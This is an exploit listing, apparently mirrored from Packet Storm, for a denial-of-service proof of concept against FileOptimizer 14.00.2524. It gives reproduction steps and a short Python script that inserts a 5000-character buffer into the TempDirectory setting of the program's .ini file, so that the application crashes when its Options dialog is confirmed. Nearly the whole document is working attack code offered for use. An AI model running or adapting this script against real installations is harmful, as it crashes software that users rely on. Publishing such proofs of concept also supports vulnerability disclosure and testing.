## https://sploitus.com/exploit?id=PACKETSTORM:155111
# Exploit Title: FileOptimizer 14.00.2524 - Denial of Service (PoC)
# Date: 2019-11-04
# Exploit Author: Chase Hatch (SYANiDE)
# Vendor Homepage: https://sourceforge.net/projects/nikkhokkho/
# Software Link: https://sourceforge.net/projects/nikkhokkho/files/FileOptimizer/14.00.2524/FileOptimizerSetup.exe/download
# Version: 14.00.2524
# Tested on: Windows 7 Ultimate x86 SP0
# CVE : none
## Steps to reproduce
## Open application for the first time so it generates "FileOptimizer32.ini" in the install directory
## Run the PoC
## Open FileOptimizer again, navigating to "Optimize" / "Options".
## Click OK to crash
#! /usr/bin/env python
import os, sys, re
test="TempDirectory=" # variable/str in config file to replace with buffer
dir = "C:\\Program Files\\FileOptimizer\\"
file = "FileOptimizer32.ini"
sploit = "A"*5000
temp = open(dir+file,'r').read()
temp2 = re.sub(test, test + sploit, temp)
with open(dir+file,'w') as F:
F.write(temp2)
F.close()